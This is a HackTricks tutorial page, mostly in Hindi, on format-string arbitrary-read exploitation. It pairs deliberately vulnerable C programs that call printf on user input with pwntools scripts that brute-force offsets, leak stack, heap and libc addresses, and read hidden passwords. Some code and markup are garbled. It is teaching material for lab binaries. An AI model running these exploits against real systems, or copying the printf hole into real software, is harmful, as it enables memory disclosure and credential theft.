Format Strings - Arbitrary Read Example

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बाइनरी पढ़ना - शुरुआत

कोड

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

इसे निम्न कमांड से कंपाइल करें:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • The offset is 11 क्योंकि कई As सेट करने और brute-forcing के साथ एक loop (offsets 0 से 50 तक) चलाने पर पाया गया कि offset 11 पर और 5 अतिरिक्त chars (pipes | हमारे केस में) के साथ, एक पूरा address नियंत्रित करना संभव है।
  • I used %11$p के साथ padding किया जब तक मैंने देखा कि address पूरा 0x4141414141414141 बन गया।
  • The format string payload is BEFORE the address क्योंकि printf stops reading at a null byte, इसलिए अगर हम पहले address भेजें और फिर format string, तो printf कभी format string तक नहीं पहुंचेगा क्योंकि उससे पहले null byte मिल जाएगा।
  • चुना गया address 0x00400000 है क्योंकि यह वह जगह है जहाँ binary शुरू होती है (no PIE)

पासवर्ड पढ़ें

stack और BSS पासवर्ड वाले vulnerable binary ```c #include #include

char bss_password[20] = “hardcodedPassBSS”; // Password in BSS

int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];

printf(“Enter first password: “); scanf(”%19s“, input1);

printf(“Enter second password: “); scanf(”%19s“, input2);

// Vulnerable printf printf(input1); printf(“\n”);

// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }

return 0; }

</details>

इसे निम्न के साथ कंपाइल करें:
```bash
clang -o fs-read fs-read.c -Wno-format-security

stack से पढ़ें

stack_password stack में संग्रहीत होगा क्योंकि यह एक स्थानीय वेरिएबल है, इसलिए stack की सामग्री दिखाने के लिए printf का दुरुपयोग करना पर्याप्त है।
यह एक exploit है जो पहले 100 positions को BF करके stack से passwords को leak करने के लिए है:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

In the image it’s possible to see that we can leak the password from the stack in the 10th position:

डेटा पढ़ें

उसी exploit को %s के बजाय %p के साथ चलाकर stack से %25$p पर एक heap address को leak किया जा सकता है। Moreover, comparing the leaked address (0xaaaab7030894) with the position of the password in memory in that process we can obtain the addresses difference:

अब समय है यह पता लगाने का कि stack में 1 address को कैसे कंट्रोल करें ताकि उसे दूसरी format string vulnerability से access किया जा सके:

कंट्रोल करने योग्य stack address ढूँढें ```python from pwn import *

def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)

for i in range(30): p = process(“./fs-read”)

heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)

password_addr = heap_leak_addr - 0x126a

print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”

p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()

</details>

और यह देखा जा सकता है कि **try 14** में प्रयुक्त passing के साथ हम एक address को नियंत्रित कर सकते हैं:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap फिर पासवर्ड पढ़ें</summary>
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

ऑफसेट खोज को स्वचालित करना

जब स्टैक लेआउट हर रन पर बदलता है (full ASLR/PIE), तो ऑफसेट्स को मैन्युअली bruteforcing करना धीमा होता है। pwntools हमारे नियंत्रित बफ़र तक पहुँचने वाले argument index का स्वतः पता लगाने के लिए FmtStr प्रदान करता है। candidate payload भेजने के बाद lambda को प्रोग्राम का आउटपुट लौटाना चाहिए। यह तब रुक जाता है जब यह विश्वसनीय रूप से मेमोरी को corrupt/observe कर सके।

from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")

आप फिर offset को पुन: उपयोग करके fmtstr_payload के साथ arbitrary read/write payloads बना सकते हैं, और मैन्युअल %p fuzzing से बच सकते हैं।

PIE/libc leak then arbitrary read

आधुनिक binaries जिनमें PIE और ASLR होते हैं, पहले किसी भी libc pointer को leak करें (उदा. __libc_start_main+243 या setvbuf), बेस compute करें, फिर अपने target address को format string के बाद रखें। इससे %s pointer के अंदर के null bytes द्वारा truncated नहीं होगा।

Leak libc and read arbitrary address ```python from pwn import *

elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

io = process()

leak libc address from stack (offset 25 from previous fuzz)

io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)

secret = libc.address + 0x1f7bc # adjust to your target

payload = f“%14$s|||“.encode() payload += p64(secret)

io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address

</details>

## संदर्भ

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

> [!TIP]
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
>
> </details>